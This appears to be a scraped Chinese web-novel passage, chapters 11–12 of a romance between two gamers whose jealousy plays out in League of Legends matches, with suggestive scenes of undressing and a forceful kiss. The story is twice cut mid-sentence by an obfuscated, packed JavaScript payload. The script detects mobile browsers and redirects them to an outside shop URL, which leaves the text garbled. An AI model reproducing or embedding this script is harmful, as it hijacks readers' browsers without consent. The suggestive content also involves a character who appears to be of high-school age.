他赶紧抢过话,咬字极重:“你也就是和别的同学【一起】坐在台下【远远】看过一眼而已,【私下】根本没看过!我【平时】根本不穿裙子好吗!”光速澄清完,他深吸一口气,语气瞬间软了八个度,尾音甜甜地拐了个弯:“我等会玩猫挂你好不好呀~” 陈逸:“……”他被这句猝不及防的夹子音激得头皮发麻,鸡皮疙瘩当场起了一身。 这句话显然不是说给他听的。 耳机里安静了两秒,隔了一会儿,顾妄才慢吞吞开口,声音听不出喜怒:“不是不爱玩猫?突然想起来要挂我了?” “……” 许念瞬间哑火,他抿了抿唇,低头切回微信,飞快又丢过去一个表情包:【理理我嘛~我的专属坐骑】 紧跟着,补上绝杀:【他甚至都不到170!】 发完这句,许念眼神心虚地游离了一下。客观来说,陈逸和他差不多高,但一想到这人还在语音里疯狂背刺他,许念最后那点良知当场蒸发,手指翻飞继续敲:【我们不和他玩好不好~】 结果等了半天,还是一点动静都没有。顾妄的手机这会儿正安安静静躺在地板上,生死未卜。许念咬了咬唇,干脆把游戏麦一关,直接拨了个微信语音过去。 几秒后,接通了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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游戏刚开局,弱小又无助的陈石头人刚走到河道口想做个视野,草丛里猛地窜出一个肌肉猛男。顾妄一点武德都没讲,贴脸就是一斧子,平A接W,重置普攻,减速挂上,直接开启疾跑,拎着斧子追着石头人就开始往死里砍。 陈石头人吓得魂飞魄散,连滚带爬交出闪现往塔下逃。顾妄根本不急,扛着斧子追到防御塔边缘,精准卡着极限距离补上最后一发平A。血怒叠满的瞬间,顾妄连看都没多看一眼,转身潇洒离去,顺手还补了个残血的近战兵。 “First Blood!” 陈石头人闪现迁坟,极其屈辱地死在了自家防御塔前,用生命完美演绎了什么叫“亏到姥姥家”。 …… 游戏进行到十分钟。 “不是,”陈逸终于被打得精神崩溃,趁着灰屏读秒的功夫,他切出去给许念疯狂发私聊: 【你家这位是不是吃火药了?!】 【他有病吧?兵都不补,就逮着我杀!!】 【我特么十分钟已经快超鬼了!】 许念盯着屏幕上弹出来的黄字,又看了眼再次回泉水泡澡的石头人,内心毫无波澜,甚至想回一句:【活该。】 顾妄本来就看他不顺眼,很巧,许念本人也完全、彻底、百分之百地站在自己男朋友这边。他甚至想怂恿顾妄换个玩法:别打什么5V5内战,直接拉陈逸去嚎哭深渊开solo,把他揍到彻底戒除网瘾为止。 谁让陈逸这没眼力见的,刚才在房间里大谈特谈《那些年我眼中的许念》。 一想到这个,许念就又开始头疼。他那会儿气得想骂人,又不敢真骂。因为他刚试图插话转移一下,顾妄就不冷不热地甩来一句:“有什么是我不方便听的?” 这话一出,许念当场就不敢轻举妄动。按照他对顾妄的了解,这时候他要真开口骂陈逸,顾妄八成会冷笑一声:“怎么,你们发小直接当着我打情骂俏?” 许念面无表情,低头敲字:【自己菜怪谁。】 消息刚发出去,屏幕上方又跳出击杀提示。断头台落下,上路那颗石头甚至没来得及多喘两口气,就又死在了诺手斧子底下。许念没绷住,笑出了声。 耳机那头,顾妄还在上路不紧不慢地推二塔。听见这声笑,敲键盘的声音停了一下。过了半秒,他才开口:“笑什么?” 许念看着屏幕。游戏画面里,神王皮肤的诺手满血站在兵堆里,脚边横着尸体,等级足足压了对面三级,嚣张得没边。他眼睛弯起来,尾音都带了点藏不住的笑:“没什么……就是觉得,诺手挺帅的。” 其实不止诺手,德莱文也一样。这种又凶又拽,一级就敢压着人砍,砍完还一脸理所当然的英雄,简直像照着顾妄本人捏出来的。 顾妄不紧不慢地问:“只有英雄帅?” 许念呼吸一紧,他总觉得顾妄那股气还没彻底顺下去,立刻条件反射开始顺毛:“人也帅!” “现在想起我了?” 许念:“……” 他现在只希望陈逸赶快复活,再给诺手哥哥多砍死几次,顾妄杀爽了,也许就消气了。 语言频道其他三位:“……” 跟许念走下路的沈嘉行更是大气都不敢出。他缩在河道口,靠技能补兵,宁可漏炮车,也绝不往许念旁边多站一步。生怕自己走位不慎,就被顾妄当场判个“跟嫂子拉拉扯扯”的死刑。到时候这把结束,下一把上路坐牢的人估计就得换成他。 毕竟发小兄弟死得实在太惨了。惨到连他这个敌方下路的既得利益者,都忍不住生出一点微弱而真诚的同情。 这把刚结束,顾妄就在公屏上敲了几个字:【等15分钟。】 说完人就直接下线。 11.小爷拔剑自然神 陈逸这把被顾妄砍的亲妈不认。别说对线了,连斗鱼哥都看不下去,赶来上路想强行保一下。结果人刚到,顾妄反手就来了一波极限一打二,把他俩一起打包送走。屏幕上的“Double Kill”还没消失,顾妄的问号?已经出现在公屏,顺便又亮了个弱爆??的表情。作为这场内战的头号战犯,陈逸那碎成渣的自尊心急需找补。他咬着牙去摸手机,解锁的时候手都在抖,点开微信就开始给许念疯狂输出,试图靠“娘家人”这个尊贵身份压一压这个不知天高地厚的小舅子。至于前面许念发来的那几十条“闭嘴”“滚”,他选择性失明,自动默认自己网卡没加载出来,开口就是一整串破防文学: “不是,许念,你这小男友到底什么毛病啊?啊?!” “他那是打内战吗?他那是跟我有杀父之仇吧!就逮着我一个人砍,砍完还一直亮弱爆,过分了吧?!” “他这么猛怎么不去打职业啊?来打我干嘛?有本事去韩服撞职业,逮着我砍算什么啊!” “我好歹是你最好的兄弟吧?他眼里还有没有你这个姐姐?还有没有我这个娘家人?!” “你找个这么小的图什么啊?这种一点人情世故都不懂的小屁孩,打个游戏跟索命一样,哪有我们这种成熟男人有魅力,会疼人!!!” 许念根本没工夫回收这堆有害垃圾。顾妄刚退游戏,微信语音就砸了过来,许念手忙脚乱接起来,刚“喂”了一声,那边已经干脆利落扔过来一句:“我来找你。” 许念脑子当场卡壳,握着手机愣了两秒,才慢半拍地挤出一句:“……现在?” “嗯。十分钟。” 语音一挂,许念直接从电竞椅上弹了起来,耳机线都差点被他拽断。他站在原地僵了一秒,脑子里只剩一行加粗大字在疯狂飘屏:救命!顾妄要来,现在,立刻,马上! 他这两天连轴转,刚回家连脸都懒得洗,随手套了件幼稚的纯棉睡衣,头上还顶着猫耳发带,就这么素面朝天地坐下来打内战。结果顾妄说十分钟后到?许念抓着手机原地转了个圈,下一秒就冲进浴室,牙刷往嘴里一塞,含着泡沫开始挤洗面奶。洗漱完凑近镜子一看,熬夜后的肤色果然有点暗沉。 不行,绝对不行! 许念抿着嘴,立刻把粉底液挤到手背上,匀开之后往脸上拍,遮瑕精准点涂黑眼圈,最后翻出一块淡粉色腮红,在鼻尖和苹果肌中间飞快扫了两下。镜子里的那张脸一下子亮了起来,皮肤透着自然的粉嫩。这套心机伪素颜妆,是他上周被顾妄一句“素颜比较要命”刺激得连夜研究出来的成果,针对性极强,专治直男。 “裙子……”许念转身扑向衣柜,翻箱倒柜拽出那条House of CB的Pietra小白裙。那是他刚收到的海运包裹,干洗完一直没来得及试。他往身上一套,刚把腰往里收,呼吸就先被卡住。鱼骨部分勒得要命,他咬着牙,反手去扣拉链,身体别扭地侧过去,一点一点往上硬拽,拽得肩膀都酸了,好不容易才把自己塞进去。结果一抬头看镜子,许念原地石化。 “……” 大翻车。 官网模特图明明是清纯微露,怎么到他身上就直接变成了视觉炸弹?那一片雪白根本兜不住,弧度被鱼骨托得浑圆挺翘,中间那道沟……深不见底。许念脸一下子烧红了:“我才B啊……” 他反手又去摸拉链,想立马把裙子脱下来。结果这裙子穿进去困难,脱出来更是渡劫,拉链直接卡在缝里,一动不动。许念拽了两下没拽开,正跟这条裙子较劲,床上的手机忽然震了一声。 顾妄:【开门。】 许念:“……” 他盯着那两个字,整个人都麻了。刚才顾妄说要来,他第一反应就是给物业管家打电话放行,生怕人被拦在楼下,结果现在好了,顾妄一路畅通无阻地上来了,他裙子还卡在身上,脱都脱不掉。许念转身就冲回衣柜边上,抓起一件海军蓝oversized卫衣兜头就往身上套。宽大的衣摆一落,总算把上半身的波涛汹涌遮了个严实,可裙子实在太短,下面还是白花花露着两条长腿,裙摆勉强卡在腿根下面一点,时刻面临走光风险。 他根本没时间再对着镜子检查,抓着门把深吸了口气,踩着拖鞋小跑过去开门。门一拉开,走廊的冷风跟着顾妄挺拔的身形一起灌了进来。顾妄单肩挎着包,黑色冲锋衣敞着,他垂下眼,先扫了一眼许念身上那件宽大卫衣,目光慢悠悠往下移,最后停在那双光溜溜的腿上,没说话。 许念被他看得心里发毛,下意识往旁边让了一步,声音发虚:“你、你怎么突然过来了……” “怎么。”顾妄抬眼看他,“不想见我?” “没有没有。”许念立刻摇头,伸出指尖去拽他冲锋衣的袖口,轻轻晃了晃,“我很高兴的。” 顾妄站着没动,任他拽着,低声来了句:“姐姐,包很重,我还要站多久?” “啊,对不起……”许念被他说得一愣,连忙松手,蹲下去翻鞋柜最下面那双鲨鱼拖鞋。那是他专门买的情侣款,自己一双,给顾妄留了一双。他动作很急,弯腰的时候卫衣顺着往前滑了一截,里面那条迷你裙也跟着往上一窜,腿根那截雪花花的白晃得人眼睛都不知道往哪放。许念刚把拖鞋拎出来,还没来得及摆正,手腕忽然一紧,被人一把扣住。 他吓了一跳,猛地抬头,顾妄已经俯下身,指节收紧,目光落在他腿上,声音冷得不行:“你今天就穿这个出门?” “我……”许念话还没说完,人已经被他拽了起来,整个人失去平衡,直直撞进他怀里。 顾妄低头看着他:“不是说平时不穿裙子?” “我平时是不穿……”许念眼神乱飘,死活不肯和他对视。 “平时不穿,”顾妄重复了一遍,“那今天穿成这样给谁看?” 许念没吭声,下意识并紧腿,心跳乱得不行,上次被顾妄掀被子,强行看裙子的教训还历历在目。 顾妄等了一会,没等到答案,脸色一点点沉下来,扣着他的手的力道半点没松:“说话。” 许念咬了咬唇,刚想糊弄过去,顾妄已经继续往下问:“你就这样出去晃了一天?” “我没有!”许念一下急了,猛地抬头,眼睛都睁圆了,“我刚换的——” 顾妄盯着他:“换给谁看?” 这句话砸下来,许念整个人烫得快冒烟。他嘴唇动了两下,半天才憋出一句,声音小得快听不见:“你不是说……要来吗。” 顾妄指尖顿了一下,手上的力道终于松了点:“为我换的?” 许念闭了闭眼,认命似的,很轻很轻地“嗯”了一声。 顾妄松开他的手腕,肩上的书包被他随手往地上一扔,砸出一声闷响。下一秒他前压一步,手直接扣住许念肩膀,把人按到门板上。许念后背刚贴上去就轻轻一抖,抬眼的瞬间,顾妄的目光已经落在他衣摆上,低声问道:“给我换的,你藏什么?” 话说完,手已经碰到卫衣下摆。 “不行!”许念一下就炸了,整个人往前扑,死死按住他的手,脸都涨红了,声音抖得厉害,“里面没穿好……而且很难看。” 顾妄手停住,垂眼盯着他:“难看你还买?” “我买错了不行吗!”许念又急又窘,抬手去推他,“我现在就去换——” 结果手刚一动,就被顾妄反手扣住。顾妄一把攥住他两只手腕,单手往上一压,直接按到他头顶。许念整个人僵住,手臂被迫举着,腰又贴着门,动都不敢乱动,只剩睫毛抖个不停,呼吸急促地起伏着。顾妄没急着动,只是盯着他看了几秒,拇指在他腕骨上按了一下。 “顾妄……”许念声音一下软了,嘴巴也委屈地撇了一点,“真的不好看……” 顾妄看着他,只丢下一句:“我自己看。” 下一秒,他扣着许念手腕的手猛地收紧,另一只手已经掀住卫衣下摆,直接往上扯。 ………… 半小时后,两个人重新上线。 许念坐回电脑前,手已经搭在鼠标和键盘上,心思却根本不在游戏里。他盯着屏幕看了几秒,光标在桌面上晃来晃去,晃了半天也没点到对的地方,反倒是眼神不受控制地往旁边飘,偷看一眼,又装作没事人一样收回来。顾妄正低着头调耳机和麦,修长的手指在设备上点来点去,神情十分专注,有种下一秒就要上台打世界赛的架势。许念盯着他侧脸看了一秒,嘴唇轻轻抿了下,立刻就倒吸一口气,指尖也跟着在鼠标上收紧了一点。 真是烦死了。 他憋了半天,还是没忍住在心里骂了一句:网瘾少年。 没救了啦! 许念又拿余光偷瞄了顾妄一眼,这一眼刚过去,脑子里那一幕就自己翻了上来,烫得他耳朵都跟着热了,赶紧把脸转回去,假装认真看屏幕。 明明十五分钟前,这人还不是这个样子。 那时,灰色卫衣被顾妄一把推到锁骨处,灯光从头顶直直落下来,正好打在白色连衣裙上。许念的腰被鱼骨勒得不盈一握,胸口却一点都没兜住,雪白肌肤暴露在灯下,弧度被鱼骨托起来,中间那道沟深不见底,随着他急乱的呼吸起伏。 顾妄当时手指一下就收紧了,骨节都泛白,呼吸也明显顿了一拍,他几乎是立刻把那件卫衣重新拽下来,严严实实给他盖回去,盖完还不放心,又顺手往下扯了扯。 许念被他整套动作弄得整个人都僵住,脸烫得不像话,偏过头闭上眼,小声哼唧了一句:“我都说了……很难看。” 没人接话。 他等了几秒,还是没听见任何动静,实在忍不住,睫毛轻轻颤了颤,偷偷睁开一点点往顾妄那边瞄,才发现顾妄整个人站在那儿没动,脸却偏到一边,根本不看他,侧脸绷得很紧,耳朵红得藏都藏不住。 许念愣了一下,心跳反而跳得更快了。他抿了下唇,小声又嘟囔了一遍:“我都说了……不好看啊。” “闭嘴。”顾妄的语气还挺凶。他站在原地缓了两口气,喉结滚了一下,才慢慢把脸转回来,结果刚低头,就撞上许念仰起来看他的那双眼睛,湿湿的,亮亮的,唇也微微张着。 顾妄盯着他看了两秒,忽然开口:“今天那个石头人,看见没。” 许念愣了一下,反应过来后头摇得飞快:“没有!我刚换的,谁都没看见。” 顾妄没再说话,直接抬手捏住他下巴,把那张脸往上托了一点,低头就亲了下来。和上次一样,亲得又急又重。唇撞上来的瞬间,许念忍不住瑟缩一下,下意识想往后躲,却被顾妄另一只手扣住后脑勺按了回来,腰也被他一把箍住,整个人直接贴进他怀里。许念脑子一下就懵了,腿也跟着发软,手指乱抓了一下,最后还是一点点抬起来,慢慢环住了顾妄的脖子。 他手刚搂上去,顾妄整个人却忽然僵了一下,下一秒就猛地退开。许念连气都没喘匀,唇上又麻又热,人却已经被松开了。他还站在原地发怔,顾妄却已经别开脸,低头去换鞋,那双情侣鲨鱼拖鞋被他三两下套上,换完又弯腰把包捡起来,转头就往客厅走,步子迈得又急又快,几乎是落荒而逃。 许念站在玄关,盯着顾妄的背影半天没动。过了几秒,他才下意识抿了下嘴唇,结果刚碰到就疼得轻轻吸了口气,眉头也跟着皱起来。 ……什么意思啊?刚才不是还亲得那么凶吗,怎么说停就停? 顾妄已经走到茶几边,把包往上一放,拉开拉链,低头开始往外掏东西。一件接一件,干脆利索,全程没回头,也没再看他一眼。许念站在那儿看了他一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许念轻轻哼了一声,拖鞋啪嗒啪嗒踩过地板,径直走到顾妄旁边,伸手把椅子往外一拉,带着点小脾气坐下去,鼠标往手里一抓,耳机往头上一扣,顺手把音量调大了一点。 行。 打游戏是吧? 那就打,谁还不会了。 …… 回到现在,许念眼睛还在持续往旁边飘,顾妄本来还在低头调设备,察觉到那道视线,侧过脸看了他一眼:“怎么?” 许念抿了抿还有点肿的唇,立刻把脸偏开,不理人。 顾妄又问:“你一直看我干什么?” 这下许念装不下去了。他手指停在鼠标上,停了两秒,还是没忍住,低着头小声嘟囔:“你干嘛那样……” “哪样?”顾妄问。 许念耳朵一下热了,眼神在屏幕上晃来晃去,磨蹭半天才憋出后半句:“……亲到一半就停。” 顾妄没说话,就这么看着他。许念被他看得浑身不自在,肩膀绷起来,腿也不自觉并拢。等了几秒没等到声音,只好自己给自己找补,声音别别扭扭的:“哪有人这样的。” 顾妄这才开口:“那要怎么亲?” 许念一下子被问住。他张了张嘴,话没出来,脸先烧起来,转头瞪了顾妄一眼,又很快把视线缩回去:“我怎么知道。” 顾妄看了他一会儿,目光往下落,在他还有点红的唇上停了一下,喉结轻轻一滚:“家里有套吗?” 许念手一抖,鼠标差点脱手,他猛地转过头,眼睛都睁圆了。 顾妄神色没什么变化,接着问:“你愿意?” 许念头摇得飞快,声音也跟着打结:“不、不愿意。” “哦。”顾妄收回视线,手指往屏幕上一点,“那就不能继续亲。进房间,去左边。” 许念人还卡在他那几句逆天发言里,手僵着点了两下鼠标。刚进房间,他第一反应就是火速闭麦,生怕顾妄下一秒又面不改色说出什么更离谱的话来。他吸了口气,想强迫自己冷静一点,结果一点用都没有。顾妄刚才那几句话还在他脑子里翻来覆去地转,转到最后,许念背脊突然一下子绷直,耳朵刚退下去一点的热意又卷土重来,连脖子都跟着发烫。 ……他懂了。 可顾妄还不如直接说呢,到底在那儿委婉什么?他这么绕一圈,听着比直接承认他刚才亲出反应了,还像在耍流氓。 公寓里一下子安静下来,只剩主机和电脑风扇的运转声。顾妄那边还在调参数,手指落在键盘上,敲两下,停一下。许念坐在旁边,背挺得笔直,表面上是在认真备战,实际脑子里还在无限循环刚才那几句,手也没闲着,指尖无意识地在鼠标垫边缘抠来抠去,差点抠出一道印子。 下一秒,他手臂忽然被拽了一下。许念一愣,人已经顺着那股力道往旁边偏过去,肩膀差点撞到顾妄身上,耳机也跟着晃了一下 “坐近点。”顾妄说。 “……干嘛?” 许念嘴上还是要问一句,人却已经往那边挪了点。 顾妄没回他,只伸手把两人中间缠住的耳机线拨开。线一松,许念脸侧垂着的那缕头发也被带得晃了一下,顾妄顺手替他别到耳后。指腹擦过耳垂的时候,许念耳朵一麻,肩膀也跟着轻轻缩了下,刚想往旁边躲,耳边已经落下来一句:“想贴着姐姐。” “……” 许念张了张嘴,半天都没想出一句像样的话,最后只从嗓子里含含糊糊挤出一声:“……哦。”声音轻得跟蚊子哼哼似的,肩膀已经不声不响又往顾妄那边靠过去一点,贴得比刚才还近。 屏幕亮着,许念盯着看了半天,愣是连鼠标光标在哪儿都没找着,他抿了下唇,心里只剩一句话翻来覆去地转: 顾妄这人到底能不能按常理出牌一次。 12.密密麻麻是我的自尊 相比之下,YY语音频道里这会儿简直像养鸭场年终总结大会,几个鸭子抢麦抢得唾沫星子乱飞,谁嗓门大谁有理。开黑小群的消息提示音更是跟机关枪似的没停过,手机在桌上疯狂震动,恨不得把自己抖出火星子来。这帮刚从一周AP课里刑满释放、全指望周末开黑续命的男高,集体进入了“重金寻父”模式,群消息刷得快出残影: 【爹呢爹呢爹呢?】 【不是吧爹,你人间蒸发了?上周说好今晚内战,你现在给我玩失踪?】 【鸽了???别搞我心态啊哥,我这周就指着今晚活着了!】 一个个急得抓心挠肝,但谁也不敢私聊去轰炸顾妄。毕竟在这群被学习折磨得猪脑过载的男生眼里,排到顾妄那队就等于稳赢,周末进峡谷抱紧顾少的大腿,是他们找回做人尊严的唯一途径。李青杨仗着自己年纪最大,端起一家之主的架子,连发三排问号@顾妄,开始发语音喊麦:“人呢?!还活着没?活着就吱一声,兄弟们真顶不住了啊!再不上线我们集体去你家楼下给你拉横幅了啊!” 顾妄那边一点反应都没有,别说回消息,连个句号都没施舍。李青杨盯着屏幕干瞪眼,气得一拍大腿:“不行,不能坐以待毙,必须线下gank!”他转头就在群里掷骰子:“谁点数最小,谁带马应龙去他家楼下蹲点,看这小子是不是掉坑里了,掉进去也得给我捞出来押回电脑前!” 【淡定淡定,哥几个】 【顾少正忙呢,马上杀回来。】 另一边,被抓来凑数的斗鱼主播正瘫在电竞椅里,脚大喇喇地架在桌沿,左手刷着土味摇花手视频,乐得肩膀直抽。右手倒没闲着,懒洋洋地敲键盘安抚这帮快要集体红温的男高。他余光扫到半小时前那条支付宝转账通知,嘴角咧到后脑勺,心里美得冒泡:今天不用夹着嗓子喊“谢谢大哥的飞机”,老板本人还迟迟不上线,纯纯带薪摸鱼,工资照拿活还不用干,爽飞了。于是他随手在群里胡扯了一句:【可靠线报,顾少正在提刀赶来的路上,十分钟内抵达战场。】发完就心安理得切回视频,继续对着屏幕傻乐 等顾妄终于调好外设,顶着【接水泡】的ID慢吞吞跨进房间时,李青杨那破锣嗓子已经嚎冒烟了:“顾妄!!!你还知道回来?!整整半小时啊!大好青春全让你浪费了,你这属于极其恶劣的挂机行为,一点电竞素养都没有你知不知道!” 顾妄连眉毛都懒得抬,麦也不开,修长的手指搭在键盘上,随手敲了两下,公屏冷冰冰跳出来一句:【急着投胎?】李青杨刚吸了口气,准备继续发疯,下一句又砸到脸上:【多玩十分钟和多等十分钟有区别?反正都是坐牢。】 “我靠???” 李青杨当场爆炸,“你听听这还是人话吗!你这嘴是不是拿鹤顶红泡过,一开口就无差别AOE。” 房间里顿时笑成一片。许念原本正托着下巴,盯着加载界面无聊地发呆,听到这句,肩膀忍不住轻轻一颤。他眼睛还黏在屏幕上,嘴角却怎么都压不住地往上翘,眼尾弯出一个软软的弧度。他怕自己笑出声,还故意鼓了鼓腮帮子,咬着下唇硬憋。顾妄余光一扫,正好逮个正着。手一伸,指节勾住他一边脸,轻轻往一扯,扯完大抵觉得手感很好,又多捏了一下,这才收手:“姐姐也学坏了。” 许念猝不及防,被捏得整个人懵了一下,回过神,脸腾地热起来,连忙抬手把自己那边脸揉了揉,皱着鼻尖瞪他,嘴巴也不自觉鼓起一点:“你烦不烦啊,动不动就上手。”他说完赶紧把视线挪回屏幕,握着鼠标假装自己很忙,光标在界面上瞎晃,“明明就是你说话太毒了好吗,人家青杨都快被你气红温了。” 顾妄没接话,姿态懒散地往椅背上一靠,手重新搭回键盘,目光扫了一眼他的屏幕。许念那边的光标停在魔女皮肤的娜美上,心思写在脸上。顾妄唇角往上一挑:“想玩卢娜?” “……嗯”,许念小声说:“你用西部魔影好不好?” 顾妄本来都已经点到源计划,听见这话,鼠标一偏,直接换。许念这才满意。 李青杨那点刚被气出来的火,瞬间被“终于能开打了”的喜悦浇灭。他整个人满血复活,疯狂摩擦鼠标嗷嗷叫:“能进峡谷就行!顾妄嘴毒就毒吧,反正老子又不跟他过一辈子,退一步海阔天空,忍一时直接躺赢!”结果一分队,李青杨人傻了,他手速慢了半拍,居然没能挤进顾妄那队。 更惨的是陈逸,看着分队界面,他右眼皮开始狂跳迪斯科。作为许念自封的“娘家人”,他上一把被精准发配到敌对阵营,顾妄选个诺手,追着他满地图砍了整整一局,硬生生把一个推塔游戏玩成了恐怖逃生游戏。那架势,怎么看都不像巧合,纯纯的私人恩怨。虽然陈逸到现在都没想通,自己到底哪里踩了这位超雄大少爷的雷,但活命要紧。他赶紧在语音里哭爹喊娘:“兄弟们!我申请调剂!单人线我是真的抗压不住了,为了咱们团队的胜利,我去下路打辅助!我给大家当狗!” 沈嘉行第一时间接话,语气温柔得像个活菩萨:“没事没事,内战而已,都是兄弟,随便玩,大心最重要。”话音刚落,这“活菩萨”飞快切出游戏,手指在键盘上敲出残影:【报!陈逸去下路辅助了。】点击发送,关掉窗口,动作行云流水。做完这一切,沈嘉行往椅背上一靠,心安理得地嘬了口冰可乐,爽了。发小兄弟惨是惨了点,但谁让他命里缺心眼,非要一口一个“我们家许念”,在暴君的底线上疯狂反复横跳。懂不懂什么叫离大哥的女人远一点,方能长命百岁? 陈逸对队友的背刺一无所知,美滋滋地锁了个布隆,瞬间猛男附体,进语音就开始发表豪言壮语:“兄弟们这把都站我后面!我大盾一举,谁敢动你们,先从我的盾和尸体上跨过去!” 队友们非常配合地提供情绪价值:“靠你了,陈哥!”“布隆一出,安全感拉满!” “稳了稳了,这把真稳了。” 陈逸被夸得飘飘欲仙,感觉自己已经是峡谷第一盾。直到bp阶段,对面秒锁卢娜。他嘴角的笑当场僵住:“……操。”他盯着屏幕,那种不妙的预感顺着尾椎骨一路往上爬。游戏加载进来,他看清对面下路ID的那一刻,整个人直接石化——西部魔影卢锡安,ID:【接水泡】。再往旁边一看,那条鱼……还是那条鱼。 “我靠!”陈逸头皮发麻,“他怎么做到虚空索敌的,他也没玩卡莎啊?” 李青杨还没意识到问题严重性:“怎么了兄弟?” “没事。”陈逸深吸一口气,强行给自己洗脑,“问题不大,我是布隆,我很肉,我能扛。” ……这话说出口,他自己都想笑。呵呵,顾妄的黑哥,怕不是二级就直接寄。 陈半仙一点没算错。顾妄一个阴险穿兵q,q到李青杨的瞬间接两下平a,下一秒直接冷酷追击滑步贴脸,带着许念挂在身上的三个强化水泡就开始骑脸输出。陈逸本能虎躯一震,刚才还拍着胸脯说“从我尸体上跨过去”的猛男布隆,手一哆嗦,条件反射按了个w,直接缩到了自家ad李青杨身后,大盾一立,把自己和两只残血小兵保护得严严实实。至于李青杨,他直接裸奔在卢锡安双枪底下,刚来得及嚎出一句“我——”,就被顾妄一套丝滑连招灌满伤害,送回泉水。 李青杨声音都抖了:“兄弟?你这盾是在?” 陈逸盯着自己那个缩在塔边、盾挡了个寂寞的布隆,底气瞬间矮了一截:“我的我的,手抖了,下次一定,下次一定。” 真不怪他。上一把诺手的断头台已经给他劈出严重ptsd。现在只要看见【接水泡】这三个字,他脑子里就自动播放自己被越塔、被单杀、被养猪的悲惨集锦。这把下路未战先降,陈逸举着防盗门死死贴着防御塔,李青杨也没比他有骨气多少,俩人恨不得把“顾少求放过”直接顶在脑门上。 可顾妄根本不吃这套。他带着许念越塔杀,卡视野蹲草丛杀,嚣张得简直不拿他俩当人看。四级,才四级!!顾妄就带着许念大摇大摆地越过兵线,站在对面一塔和二塔中间开始慢条斯理断兵线,顺手还当着他们的面亮了个【弱爆??】。 陈逸当场破防,在语音里疯狂叫爹:“斗鱼哥!你看我一眼啊!你来弄他啊!!这下路还能待吗?!” 李青杨紧跟着嚎:“就是!嚣张成这样这能忍?!斗鱼哥你快来制裁他!” 斗鱼哥在语音里答应得比谁都痛快:“来了来了,兄弟们撑住!这波我绝对包到,他俩今天插翅难逃!”结果镜头一切,打野脚下一个丝滑的拐弯,头也不回地扎进上半野区,开始专心致志地刷F6。下路两人的屏幕灰了一次又一次,斗鱼哥还在孜孜不倦地打小鸡。 陈逸:“……” 李青杨:“?” 斗鱼哥压根没打算去。开玩笑,第一把打完他就心里有数,老板今天是来点菜的。再看老板和辅助妹妹的id,下路那摊浑水谁碰谁倒霉。以前在韩服被顾妄当猪宰的恐惧还历历在目,他要是主动去插手老板的恩怨局,纯属嫌自己直播生涯太长。于是他嘴上继续热情敷衍:“在赶了在赶了!马上到,兄弟,马上!”人却往上路越走越远。 陈逸看着小地图那个离下路十万八千里远的打野头像,彻底沉默。基地爆炸的那一刻,他第一次体会到什么叫刑满释放,整个人往椅背上一瘫,长长吐出一口气,感觉灵魂都轻了二两。下一秒,他一把抓过手机开始找许念告状,手指在屏幕上戳得飞快,怨气几乎要化作实质从对话框里溢出来: 【不是,你能不能管管你家那位超雄弟弟啊?!】 【他有必要每把都逮着我一个人往死里弄吗?有必要吗???】 【我到底哪儿得罪他了?!我复盘半天都没复盘明白。】 【这种小男生真的很麻烦,脾气差,胜负欲还强,今天是打游戏追着我杀,明天指不定又因为什么跟人较劲,你现在不管,以后有你烦的。】 【我说真的,你还是换个年纪大点的吧,至少情绪稳定,还会疼人。】 消息一条接一条弹出来的时候,顾妄正好倾身过来,单手撑在许念椅背上,在帮他调鼠标DPI。许念刚才不知道误触了什么,光标直接在屏幕上神秘失踪。眼看桌面微信弹窗疯狂闪烁,顾妄手腕一偏,直接点开了那个闪个不停的对话框。 许念:“……” 他手指悬在半空,拦也不是,不拦也不是,只能眼睁睁看着顾妄面无表情地把那几条消息从头到尾扫了一遍。顾妄脸上没多余表情,眼底的温度却一点点降到了冰点。他单手搭上键盘,指尖敲得咔咔响,直接回了两句: 【你话挺多。】 【有意见冲我来,她没空。】 陈逸那边瞬间哑火。许念盯着屏幕上那个扎眼的“她”,整个人僵了一下。心口像是被人拿细针轻轻戳了一下,不疼,却泛起一阵细密的麻,连呼吸都跟着乱了拍子。他下意识咬住下嘴唇,咬得有点重,原本握着耳机的手指也慢慢收拢,指节泛白,半天没出声。顾妄本来还懒散地靠在椅背上,察觉到身边的异样,慢慢坐直身子,侧过头盯着他:“怎么了?” 许念没应声,眼神还死死黏在那句回复上,整个人像被定住了一样。顾妄看了他半天,忽然伸手过去,一把扣住他握着耳机的那只手腕,掌心刚贴上去就摸到一片凉意,他眉头瞬间拧起,声音里带着压不住的烦躁:“你这是什么反应?一个发小而已,值得你这么在意?” 许念被他碰得肩膀猛地一颤,终于抬起眼,他嘴唇微微张了张,喉咙却像堵了团棉花,半个字都挤不出来。顾妄看着他那张渐渐发白的脸,表情彻底冷下去,正要再开口,下一秒,许念却毫无预兆地转过身,一头扑进了他怀里。 椅子被这股力道撞得猛地往后一滑,轮子在地板上拖出一声闷响。顾妄后背重重磕上椅背,但手比脑子快,几乎是条件反射地张开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368125|199095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双臂,一把托住了许念的腰。许念膝盖磕到椅子边缘,疼得倒吸了一口凉气,手却反而抱得更紧了。他低下头,将整张脸埋进顾妄颈窝里,滚烫的呼吸带着一点急促,毫无保留地喷洒在顾妄的皮肤上,烫得顾妄下颚线都跟着绷紧了。刚才蓄势待发的少爷脾气,瞬间全卡在了喉咙里,上不去也下不来。 